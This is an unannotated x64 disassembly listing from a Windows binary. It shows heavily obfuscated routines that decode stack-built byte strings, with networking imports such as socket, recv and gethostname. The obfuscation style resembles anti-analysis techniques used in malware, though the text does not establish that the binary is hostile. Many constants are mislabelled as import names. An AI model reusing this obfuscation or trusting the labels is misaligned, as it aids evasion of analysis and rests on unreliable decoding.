mov byte [rbp + 0xf4a], 0x77
mov byte [rbp + 0xf4b], 0xe3
mov byte [rbp + 0xf4c], 0x7d
mov byte [rbp + 0xf4d], 0xe1
mov byte [rbp + 0xf4e], 0x47
mov byte [rbp + 0xf4f], 0xef
mov byte [rbp + 0xf50], 0xec
mov byte [rbp + 0xf51], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf52], xmm0
mov qword [rbp + 0xf62], rax
mov byte [rbp + 0xf6a], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140202740
movzx r8d, byte [rbp + r9 + 0xf10]
mov r11, r8
cmp rdi, r9
ja 0x140202737
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140201bde
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140201c18
je 0x1402026b1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140202624
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402025ee
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1402025a4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020257b
cmp r10, r9
ja 0x14020272e
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140201c3e
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140201e25
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140202537
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140202517
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402024f4
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1402024d1
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402021bc
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020219b
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140202175
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140202152
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140202131
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020211d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402020fa
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402020d6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402020b5
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1402020a1
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140201c7f
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14020270b
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1402026e5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140201e5f
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140201e3c
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140201e16
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140202046
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140201fec
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140201f9f
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140201f7d
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140201f5b
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140201f47
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140201f25
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140201eff
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140201edd
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140201ec9
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140201ea7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140201e85
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140201c7f
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140201c7f
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140201c72
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140201c18
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140201ba7
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140202555
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140202599
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140202314
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x1402025c2
movabs rdx, 0x5eedf7f25582f040
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020260f
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x140202612
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
jmp 0x1402020e5
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14020267a
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1402026ce
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14020246c
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x140202555
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x140202479
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1402023b2
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x140201fbd
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x1402024a7
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1402022cd
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14020200d
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140202203
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1402024ed
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020237b
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x140202612
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1402025fd
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1402025c0
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14020259c
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140202599
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x140202553
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1402021eb
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140202064
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020221a
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402026ce
cmp rdi, rcx
jne 0x140202245
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140202648
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020226f
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14020249d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020229a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14020259c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140202064
movabs rdx, 0xbad349fb37876db0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140202599
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402022fc
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140202555
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020232b
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020259c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140202356
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14020260f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140202382
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x140202648
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020200d
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x1402026ce
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402023cf
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140202203
cmp rdi, rcx
jne 0x1402023f6
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14020267a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140202421
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14020260f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020243e
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x140202184
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140201fbd
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x140202553
mov byte [rbp + r9 + 0xf10], bl
jmp 0x1402026dd
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xf10]
add bl, dl
add bl, r8b
jmp 0x1402025c2
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xf10]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140202648
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14020267a
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x140202612
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14020259c
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
jmp 0x140202599
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x1402026dd
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, bl
add cl, dl
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14020260f
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1402026dd
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xf10], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1402026ce
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xf10]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140201b94
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140201b91
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x140201b81
lea rdx, [rbp + 0x1600488]
jmp 0x140202747
lea rdx, [rbp + 0x1026fa2]
jmp 0x140202747
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1f8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2da0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14020277c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2da0]
call fcn.140174580
nop
lea rcx, [rbp + 0x2da0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2da0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x6d0], Ordinal_60
mov byte [rbp + 0x6d1], Ordinal_143
mov byte [rbp + 0x6d2], 0x61
mov byte [rbp + 0x6d3], 0xf3
mov byte [rbp + 0x6d4], 0x5a
mov byte [rbp + 0x6d5], 0xf1
mov byte [rbp + 0x6d6], 0x62
mov byte [rbp + 0x6d7], 0xf7
mov byte [rbp + 0x6d8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6d9], 0xf5
mov byte [rbp + 0x6da], 0x5b
mov byte [rbp + 0x6db], 0xfb
mov byte [rbp + 0x6dc], WSASetLastError
mov byte [rbp + 0x6dd], 0xf9
mov byte [rbp + 0x6de], 0x5b
mov byte [rbp + 0x6df], 0xff
mov byte [rbp + 0x6e0], r15b
mov byte [rbp + 0x6e1], 0xfd
mov byte [rbp + 0x6e2], 0x59
mov byte [rbp + 0x6e3], 0xe3
mov byte [rbp + 0x6e4], Ordinal_79
mov byte [rbp + 0x6e5], 0xe1
mov byte [rbp + 0x6e6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6e7], 0xe7
mov byte [rbp + 0x6e8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6e9], 0xe5
mov byte [rbp + 0x6ea], 0x7f
mov byte [rbp + 0x6eb], 0xeb
mov byte [rbp + 0x6ec], 0x7a
mov byte [rbp + 0x6ed], 0xe9
mov byte [rbp + 0x6ee], Ordinal_79
mov byte [rbp + 0x6ef], 0xef
mov byte [rbp + 0x6f0], 0x7a
mov byte [rbp + 0x6f1], 0xed
mov byte [rbp + 0x6f2], 0x88
mov byte [rbp + 0x6f3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f4], 0x84
mov byte [rbp + 0x6f5], Ordinal_211
mov byte [rbp + 0x6f6], Ordinal_217
mov byte [rbp + 0x6f7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6f8], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14020345a
movzx r8d, byte [rbp + r9 + 0x6d0]
mov rdx, r8
cmp rdi, r9
ja 0x140203451
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140202938
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14020297c
je 0x1402033d0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140203348
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020331b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402032d0
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020327f
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140203448
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1402029a2
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140202bb7
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020326e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020324b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140203225
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402031ff
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402031dc
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140202efa
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140202ed9
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140202eb3
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140202e90
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140202e7c
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140202e59
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140202e36
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140202e24
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140202e01
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140202ded
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402029f0
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140203425
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140203402
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140202bf1
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140202bce
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140202ba8
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140202dcc
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140202dab
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140202d5c
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140202d32
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402029f0
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140202d1e
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140202cfd
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140202cdc
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140202cc8
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140202ca5
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140202c81
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140202c5e
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140202c3b
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140202c17
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1402029f0
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1402029f0
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402029e3
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14020297c
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140202900
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020329b
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1402032c5
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1402032c8
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1402032ec
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x140203316
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14020320e
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1402031f8
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x140202e1d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1402030bc
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x6d0], bl
jmp 0x1402033fa
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x140202d4f
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14020329d
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x140202f58
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x140202f1d
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1402030bc
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14020339b
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x140202fd8
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140203336
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140203316
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
jmp 0x140202c90
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1402032c8
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402032c5
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14020329b
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140202f96
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x1402031b1
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14020303a
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14020318b
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1402030d3
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140202d7d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140202fc2
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1402033eb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140202fed
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1402031f8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140203019
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140203336
lea rax, [r10 + 5]
